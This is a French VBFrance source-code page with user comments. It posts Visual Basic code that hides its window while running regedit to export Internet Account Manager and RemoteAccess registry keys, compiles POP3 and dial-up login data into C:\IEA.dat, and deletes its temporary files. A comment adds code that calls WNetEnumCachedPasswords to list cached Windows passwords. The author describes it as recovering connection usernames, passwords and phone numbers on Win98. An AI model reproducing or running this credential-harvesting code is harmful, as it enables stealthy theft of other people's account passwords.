Soyez le premier à donner votre avis sur cette source.
Snippet vu 3 684 fois - Téléchargée 44 fois
Function Lie(ByVal FAcc As String, ByVal FRU As String, ByVal FRD As String, ByVal FDst As String) On Error Resume Next Dim I As Integer Dim Tmp As String, Tmp1 As String, Tmp2 As String Tmp1 = "[HKEY_CURRENT_USER\Software\Microsoft\\Internet Account Manager\Accounts\000" Tmp2 = Chr$(34) & "POP3 User Name" & Chr$(34) & "=" & Chr$(34) Open FDst For Output As #2 Print #2, "REGEDIT4" & vbCrLf Open FAcc For Input As #1 Do Until EOF(1) Line Input #1, Tmp If Left(Tmp, Len(Tmp2)) = Tmp2 Then PCO = Left(Right(Tmp, Len(Tmp) - Len(Tmp2)), Len(Right(Tmp, Len(Tmp) - Len(Tmp2))) - 1) If Left(Tmp, Len(Tmp1)) = Tmp1 Then Print #2, Tmp For I = 0 To 13 Line Input #1, Tmp Print #2, Tmp Next Else End If Loop Close #1 Open FRU For Input As #1 Do Until EOF(1) Line Input #1, Tmp If Tmp = "REGEDIT4" Then Tmp = "" Print #2, Tmp Loop Close #1 Open FRD For Input As #1 Do Until EOF(1) Line Input #1, Tmp If Tmp = "REGEDIT4" Then Tmp = "" Print #2, Tmp Loop Close #1 Close #2 End Function Sub Recup() Shell "regedit.exe /E C:\000.txt HKEY_CURRENT_USER\Software\Microsoft\", vbHide Shell "regedit.exe /E C:\001.txt HKEY_CURRENT_USER\RemoteAccess\", vbHide Shell "regedit.exe /E C:\002.txt HKEY_USERS\.DEFAULT\RemoteAccess", vbHide Lie "C:\000.txt", "C:\001.txt", "C:\002.txt", "C:\IEA.dat" Shell "command.com /C del c:\000.txt", vbHide Shell "command.com /C del c:\001.txt", vbHide Shell "command.com /C del c:\002.txt", vbHide End Sub Sub Main() Recup End Sub
6 nov. 2003 à 01:11
Ma source permet de recuperer
Le nom d'utilisateur de connexion
Le mot de passe de connexion
Et le numero de telephone du serveur
MAIS sous Win98
Elle est un peu brouillon mais pas peu faire autrement en ce temps la
Avec l'ADSL et WinXP elle sert plus a grand chose JUSTE pour l'acces a la base des registres
Site avec que des astuces sur la base des registres
http://www.regedit.com ET APRES VOUS REVENEZ TOUT DE SUITE SUR VBFRANCE OK!!! :):):):):):):)
BON PROG ET BONNE PRISE DE TETE
17 déc. 2002 à 21:59
24 juin 2002 à 15:31
24 juin 2002 à 14:18
LE FICHIER IEA.DAT N'ARRETE PAS D'AUGMENTEZ DE CAPACITE (60 MEGA)
24 juin 2002 à 13:26
'
'BIEN FAIRE SA SAUVEGARDE DE LA BASE DES REGISTRES AVANT SINON
'BONNE GALERE POUR RETAPER TOUTE VOTRE CONFIG DE CONNECTION AU NET
'
'Renommer C:IEA.DAT en C:IEA.REG
'Puis importer le dans votre base des registres
'Et utiliser la function GetPasswords pour connaitre le login et le pass :
'Dans la form
' Metter un listbox nommé : List1
'Dans un module
' PS : Ce qui suit n'est pas de moi
Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) As Long
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Type PASSWORD_CACHE_ENTRY
cbEntry As Integer
cbResource As Integer
cbPassword As Integer
iEntry As Byte
nType As Byte
abResource(1 To 1024) As Byte
End Type
Public Function callback(X As PASSWORD_CACHE_ENTRY, ByVal lSomething As Long) As Integer
Dim nLoop As Integer
Dim cString, Resource, ResType, Password As String
Dim ccomputer
ResType = X.nType
For nLoop = 1 To X.cbResource
If X.abResource(nLoop) <> 0 Then
cString = cString & Chr(X.abResource(nLoop))
Else
cString = cString & " "
End If
Next
Resource = cString
cString = ""
For nLoop = X.cbResource + 1 To (X.cbResource + X.cbPassword)
If X.abResource(nLoop) <> 0 Then
cString = cString & Chr(X.abResource(nLoop))
Else
cString = cString & " "
End If
Next
Password = cString
cString = ""
Form1.List1.AddItem Resource
Form1.List1.AddItem Password
callback = True
End Function
Public Sub GetPasswords()
Dim nLoop As Integer
Dim cString As String
Dim lLong As Long
Dim bByte As Byte
bByte = &HFF
nLoop = 0
lLong = 0
cString = ""
Call WNetEnumCachedPasswords(cString, nLoop, bByte, AddressOf callback, lLong)
End Sub
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.